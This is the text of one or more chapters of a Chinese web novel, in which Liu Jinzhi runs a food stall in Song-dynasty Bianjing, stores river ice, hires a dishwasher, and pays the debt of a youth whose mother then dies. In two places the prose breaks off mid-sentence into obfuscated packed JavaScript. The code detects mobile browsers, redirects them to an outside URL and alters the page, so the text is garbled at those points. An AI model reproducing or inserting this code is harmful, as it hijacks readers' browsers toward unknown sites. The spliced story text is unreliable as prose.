古时夏天热死人，为了一解暑热，宋朝汴京出现了很多卖冷饮的铺子，就坐落在旧宋门和朱雀门外。 而冷饮从何来？就从冬日里的河冰来。 等到寒冬腊月，河水冰封的时候，请人工开凿干净的河冰背到家中，再将放入双层木桶当中保存。 这种大型双层木桶底下有基座，上面有圆盖子，两相接口处还包着白铜，把冰块往桶里一放，就是大咧咧的放在外头，也能保持两三天不化。 极其炎热之时，把这木桶在房间四角各放一个，其效果堪比现代空调。 一些大型酒楼，比如樊楼，财大气粗，就是如此做来方便招揽食客。 所以这就是哪怕樊楼菜色极为昂贵，也依旧能让众人趋之若鹜的原因。 但如果要保存的更久一些，就要把冰块连带着木桶一起放入冰窖之中保存。 因此在宋朝冰窖、冰井十分常见。 宫中有大型冰窖，冬日凿来的冰会在夏天时分给后妃们纳凉散热。 民间的则是小型冰窖，一般是商家开凿，用来存放冰块，好留到夏天卖钱。 好巧不巧，此前柳家父母在世时，为了储存方便，不仅在家中开凿了存放菜蔬的地窖，还开凿了一个小型冰窖。 这个冰窖不大，只有二十平方米左右，但对于柳金枝来说绝对够用了。 “之前是没钱买，我也没想着做这方面生意。现下有了钱，便一齐准备着吧。” 柳金枝笑眯眯的。 谁赚钱还嫌多呢？ 柳霄看柳金枝财迷的样子，也笑开了，道：“阿姐，我在汴京待得久，认识一些凿河冰的好手。这事儿就让我去办吧。” “好。” 于是又花了两百来文，买了四只双层大桶，由柳霄做主，跑到河边请了位有些跛脚的中年汉子凿冰。 交付了五十文的押金后，天色也早黑透了。 不过这一天也算是功德圆满，该办的事都办好了，二人就回了家。 只是家中情况却比以往不同，门口挂着两个红纸大灯笼，门外大大小小停了许多辆驴车，车上驮着十来只书箱，又有桌椅板凳等，皆用手腕一般粗细的麻绳绑的结结实实，还有几个脚夫正在柳家旧宅门首进进出出，搬运各类物什。 柳金枝讶异，耳边倒传来应天爵高兴的声音：“嗨呀，柳妹子，你可算是回来了！” 应天爵三两步从门首里头走出来，对着柳金枝叉手一拜，又打量着她好端端的，无甚损伤，才松了口气道： “你半日不回，我可为你捏了好一把汗。如今见你无恙，那这场官司必然是你胜了，恭喜恭喜啊。” 柳金枝福身还礼，笑道：“也是多亏应大哥的帮忙，小妹答应你的，明日就送到门上去。” “嗐，那我可就不跟你客气了。” 能有银子拿，应天爵也是喜的眉开眼笑。 赶忙虚扶了柳金枝一把，又指着门口驴车邀功，道：“妹子你瞧，此前我答应你，尽快为轩哥儿寻处宅子搬出去。正巧昨日就寻到了，宅面干净，就在崇明外人街，不远就是国子监。” 这对柳金枝来说简直是个大好消息！ 宅子空下来，不仅可以让柳霄和月牙住的更舒心，她也不用再忧心一次性买来太多的菜蔬，却不知该放何处的难题了。 忙不迭的道谢，笑道：“当真是应大哥费心了。” 应天爵倒摆摆手，道：“嗐，我也只是做些跑腿活计。轩哥儿有位同窗好友，家中甚是阔绰，听闻他要搬家，早把那些琐碎杂事一应全包了，我现下不过动动嘴皮子。” 柳金枝也才想起来，项志轩和他那位好友是预付了定金买朝食的，现下他们搬走 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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项志轩忍不住笑话道：“怪行货子，只花银子倒显得没诚意，你怎得不直接喊声师父？兴许柳娘子就收了你。” “当真可以吗？”潘安玉眼前一亮，连忙就要拜，“师父！” 吓得众人赶紧伸手去扶，见潘安玉一脸疑惑不解，却是憨傻的有些可爱，又忍不住笑作一团。 柳金枝笑道：“人家是个实心眼，我可不和你们一起闹人家。” 言罢，就拉着柳霄进了家门，应天爵和项志轩还是笼着潘安玉说话，你一声好哥哥，我一声好弟弟的赔罪。 不多时，有个眉眼俊朗锋利的青年，外披玄色大氅，骑着高头大马进了采莲胡同，身后还跟着三五仆从，颇大阵仗。 见了来人，应天爵与项志轩都是一凛，赶忙收了调笑神色，与青年叉手一拜。 青年也不下马，居高临下地对二人冷漠颔首，就算是见过礼了。 潘安玉则跑过去，甜声唤道：“大哥！” 青年这才有些和暖脸色，垂眸道：“整日里在外头疯跑着玩儿，净寻些偏僻地方给我找麻烦。” 说着挂起马鞭，不轻不重地敲了潘安玉两下，又转手拉他上马。 潘安玉本是要拉项志轩与自己一同，但见项志轩悄悄摇了摇头，就闭口不言，随着青年骑马走了。 但他还是惦记着要向柳金枝学做菜，就对青年道： “大哥，我上次与你说的，做膳食特别好吃的柳家姐姐就住在这儿。听说她在御街支了个食摊子，咱有空就去看看，怎样？” 潘琅寰目不斜视，冷声道：“春闱没过之前，你哪儿也不准去，就给我待在家里用心温书。” 潘安玉顿时如同霜打的茄子，委屈的要哭出来，抽噎着说： “我自小就不是读书的料，四书五经念了七八年了都没念明白。可你和母亲就是要逼我去念书！但我就是爱做菜！我不想当官，我想当膳工！” 潘琅寰皱眉，呵斥道：“闭嘴！我潘家的儿郎若去了膳房里头钻营，那像什么样子？！” 潘安玉委屈，道：“那又怎得啦？谁离得开膳工？便是大哥你遇见个好的膳工，照样是赞不绝口！我早上还听下人们说，你夸从御街买回来的那碗馄饨好吃，让他们今后接着给你买作朝食，还说一两的赏钱给少了，下次要多给些呢！” 潘琅寰哽了一下，没好气道：“读书不多，顶嘴倒快！旁的我不与你多说，我已请了蒋太医来与母亲瞧病，她现下好多了，等下你到了她跟前卖些乖。若还不三不四恼了母亲生气，我拿马鞭抽死你！” “呜呜呜，知道了。” 17. 招洗碗工 前一天定好的桌椅板凳，第二天午时就送到了御街摊位上。 柳金枝和柳霄把桌椅卸下来摆放齐整，月牙拿抹布仔细地擦了一遍，直把桌椅连同整个摊位擦的干干净净才罢手。 “好啦，月牙，这些事情以后就不用你做了。”柳金枝把月牙抱到一边，拆开油膏细心给她抹上，“小手冻坏了，以后每到冬天都会有冻疮的。” 月牙道：“可是阿姐和哥哥都很忙，我不做，谁洗碗呢？” “阿姐已经决定招工了。” 柳霄拿着一张红纸走过来，吹干净上面的墨渍，展给两个人看。 红纸上写的是“招洗碗工”，下头还有具体的要求。 比如不限男女，但要年满十五，手脚利落勤快。 但因为食摊刚起步，招工也是心疼月牙，所以出不起多高的薪资，一天只能给五十文，一个月就是一千五百文。 为了弥补这点不足，柳霄在征得柳金枝同意之后，又添了条“包吃包住”的条款。 然后一家三口用米浆刷在红纸后背，将之贴在了摊位旁边。 “希望今天能有人应征。”柳金枝清点着摊位上的菜蔬，“晚上就要做夜市了。” 月牙想了想，拉过柳霄道：“哥哥，你还记得杜哥哥吗？” 柳霄一点即通，低头说：“你想叫他来？” “嗯，只是不知道杜哥哥还住不住在老地方。”月牙小小声地说道。 “什么杜哥哥啊？” 柳金枝在送菜单上打了勾，走过来摸摸两个人的头。 “是一个人很好的哥哥，在我和哥哥吃不饱饭的时候，是他给了我们一个炊饼。” 月牙抱住柳金枝的小腿，仰着小脸道：“阿姐，我们去找杜哥哥好不好？” 柳金枝算了一下时间，反正现在还早，不着急做夜市，不如去看看。 一家三口便坐了驴车朝居养院去了。 宋朝时候，各种福利设施都比较完善。 就比如北宋时期，政府设有福田院，专门收容老弱孤幼乞丐，提供基本食宿。 不仅如此，宋徽宗时期还规定每年十月初一至次年三月，都对乞丐进行赈济，每人每日发放米豆一升，小儿减半。 另外还有居养院，为无依无靠的贫民提供长期住所。 安济坊则负责医疗救助，避免一些贫困百姓受伤之后无钱就医而白送性命。 柳霄和月牙所提到的那个杜哥哥，已经年过十五，在宋朝来说已不算是孩童，现下大概率住在居养院。 其实哪怕是现代的一些福利机构，在长期营业之下都会出现某些恶劣现象，更遑论是在缺少监管力度的古代。 所以哪怕宋徽宗提出建立居养院时是出于好心，柳金枝也不敢把居养院想的太好。 饶是如此，当柳金枝亲眼见到居养院的时候，还为这里头环境之恶劣而感到震惊。 这处居养院坐落在一条狭窄的小巷子里，巷外栽种着一颗枯萎的柳树，树下蹲着个瘦骨嶙峋的老人，面前架着个破旧药罐，哆哆嗦嗦地从怀里摸出半包药渣，小心翼翼倒进了药罐里。 再往里走，就是居养院的大门，门上挂着门匾。 因为门没有关，所以一眼可见院内情景。 里头搭着二三十根晾衣架，一群披头散发，衣着破败，面容枯槁的妇人正弯腰晾晒衣服。 廊下蜷缩着一个老人，大冷的天，却将手与脚都露在外面，皮肤冻得发黑，又不晓得收回去，只用一双浑浊的眼睛盯着雪地发呆。 管院子的嬷嬷走来走去，却熟视无睹。 柳金枝不由皱起了眉头，心里发酸，可她自己也是泥菩萨过河，救不了太多，只能从茄袋里翻出几十文交给柳霄，道： “去给那位阿爷买双合脚的鞋子，再买双干净袜子。” 柳霄面色复杂地应了下来。 月牙接着带柳金枝往深处走去。 拐过几个角，进了后院。 这里更是一派萧瑟凄凉，杂草丛生，遍地白雪。 只是柳金枝耳边传来几声喝骂，还有高昂的鹅叫，隐隐有些嘈杂。 待走近一瞧，才发现院子的最里头居然围着一群人。 一个胖男人手里拿着刀，怒骂道：“挨千刀的小贼孙，连爷爷我的鹅你也敢偷？！” 旁边站着个灰布衣服的嬷嬷，狠狠一藤条抽在一个清秀少年身上，冷声道：“你犯了偷窃，按照居养院里的规矩，从明天开始，你和那病歪歪的娘都从这儿搬走！” 跪在人群中心的少年本是挨打挨骂都不做声，可一听见这话，却倏然一下把抬起头来，两眼发红：“我娘不能搬！她病的快要死了，再挪动两下，人就没了！” “谁让你偷东西？！” “我也不想偷！”少年情绪激动，却又悲伤至极，“可我没钱，我娘又快死了，她就想吃口糟鹅……就一口……” 可话没说完，就挨了男人一个重重的耳刮子。 “呸！你娘想吃什么干老子屁事？她就是死了，也是活该命贱！我只跟你算算鹅的账！” 男人指着笼子里的鹅说：“我家的鹅，那毛是长得最好的。油光水滑，可以当褙子。但你瞧瞧，毛都快被你拔禿咯！你再怎么都得原价赔我四钱银子！” 四钱！ 柳金枝霎时间瞪大了眼睛。 那就是四百文！ 一只鹅，四百文？ 这分明就是在欺负人！ 可是男人就是仗着少年无依无靠，一巴掌揪起他的衣领，道：“你要是不赔，今天就跟我走。不拘我是把你卖进高门大院，还是瓦子乐场，都不许有半句屁话！” 清秀少年涕泗横流，拳打脚踢想要挣脱，却还是被这男人拖走了。 柳金枝几步上前把两人拦住，眉心拧成了个大疙瘩，道：“站住！他娘还在屋里头，你现在把人拖走，岂不是连最后一面也不让人见？” 男人轻蔑地瞥了柳金枝一眼，嗤笑道：“哪儿来的雌儿？也来管爷爷的闲事。你想要发慈悲，就拿四钱来把这鹅买下，否则就滚蛋！” 柳金枝见这人打定主意要坑银子，心中不由腾起一片怒意。 她也只有四千贯，也就是四千文，定桌椅，买菜蔬等等已经用了不少，否则她也不会因为一辆七八钱的镂鍮装花盘架车，就肉疼的选择放弃不买。 但那是车，以后还有的买。 这是人，这回不出手，可就没有下一次了。 柳金枝心中天人交战，最后还是同情心占了上风。 她从茄袋里翻出四钱银子抬手扔过去，眉眼冷肃，道：“我替他给了，你把人放了！” 男人倒是没想到柳金枝居然舍得，看看少年，又看看钱，也就放了手，拍拍身上灰尘大摇大摆走了。 清秀少年泪流满面，膝行过来给柳金枝磕头，却被柳霄扶了起来。 柳霄语气复杂，道：“杜哥哥，是我啊，我是霄哥儿，这是我阿姐。” 原来这清秀少年就是他们要找的人，姓杜，唤作杜卫。 杜卫哭道：“好兄弟，哥哥在这里谢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15461912|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过你，这四钱银子我定然还给你阿姐。” 柳金枝叹了口气，把鹅笼提起来交给他，道：“去看看你母亲吧。” 杜卫用袖子抹干净眼泪，又给了柳金枝嗑了好几个响头，才站起来接过鹅笼往房里走。 望着杜卫的背影，柳霄抿了抿唇，面色复杂道：“阿姐，这银子……” “罢了。”柳金枝知道这银子杜卫肯定还不起，摆了摆手，“好歹当年你和月牙落难的时候，他曾给过你们一个炊饼，现在就当是报恩。” 柳霄道：“报恩也当是我来报，这钱我会还给阿姐的。” 月牙在旁边看了一场，也很为杜卫感到酸楚，便也道：“我也会还给阿姐的。” 柳金枝摸摸他俩柔软的发丝，打算拉着二人回家，可房内忽然响起碗被砸碎的声音，紧接着就是扑通一声，杜卫悲痛欲绝的哭声响彻整座居养院： “娘——！” 一家三口冲进去一看。 鹅还在笼子里活蹦乱跳地扑腾，床榻上的干瘦蜡黄的妇人却已经仰面阖眼，彻底失去了气息。 月牙啊的叫了一声，忍不住回头抱着柳金枝，不敢看床上的死人。 柳金枝也没想到最后居然是这么个结局，她怔愣了一下，不由得心中悲恸。 “霄哥儿，去请两个火计来。”她蹲下来捂住月牙的眼睛，将人轻轻搂进怀里，“先帮忙把杜伯母拉到漏泽园葬了。” 时也命也，这最后一口糟鹅，她到底没能吃上。 火化、念经、下葬，穷人家有穷人家的死法。 不过两个时辰，妇人就成了漏泽园里的一座孤坟。 杜卫跪在坟前，黄纸灰烬被夜里寒风卷起来，迸溅出的火星照亮他恍惚的面色，泪痕干枯，唇色苍白。 他声音沙哑地说：“柳姐姐，好兄弟，月牙妹妹，多谢你们好心。这鹅你们拿回去吧，我娘已经死了，这鹅没用了……” 柳金枝望着他，眸色复杂。 若她当初迟一些回汴京，又或者没能力带弟妹一起开食摊。 现在如此凄惨的，可能就是柳霄和月牙了。 “斯人已逝，但活人还要好好的活。” 柳金枝说到此处，抿了抿唇。 说她不自量力也好，说她圣母心大发作也好。 她无法对这般惨象视而不见。 “其实我们今天来找你，就是想问你要不要来我家食摊帮忙。给你酬金一日四十文，包吃包住。” 柳金枝在原有的酬金基础上提了十文。 这是她能给出来的极限。 杜卫没说话。 月牙道：“杜哥哥，当年我和哥哥被舅舅扫地出门。大雪天里，饿的实在走不动了，缩在路边等死。是你把身上最后一个炊饼给了我们，我们才能活到现在。你跟我们走吧，给我们一个报答你的机会。” 可是杜卫还是跪在哪儿，背影瘦削又萧瑟。 柳金枝拉拉月牙的手，道：“好了，让杜哥哥一个人想一想吧。”又说，“如果你改变主意，就到御街太常寺对面的柳氏食摊找我们，我们随时欢迎。” 尔后左右牵起月牙和柳霄转身离开了。 汴京城的繁华不因任何一人的悲欢离合、喜怒哀乐而停止。 夜幕降临，华灯初上。 汴京城热闹的夜市生活照旧开始了，她也要去继续自己的生意。 也许现在多努力一点，多攒一些傍身之物，将来在这繁华大城之中经历悲痛与伤悲的，就不会是她，或是她的霄哥儿和月牙。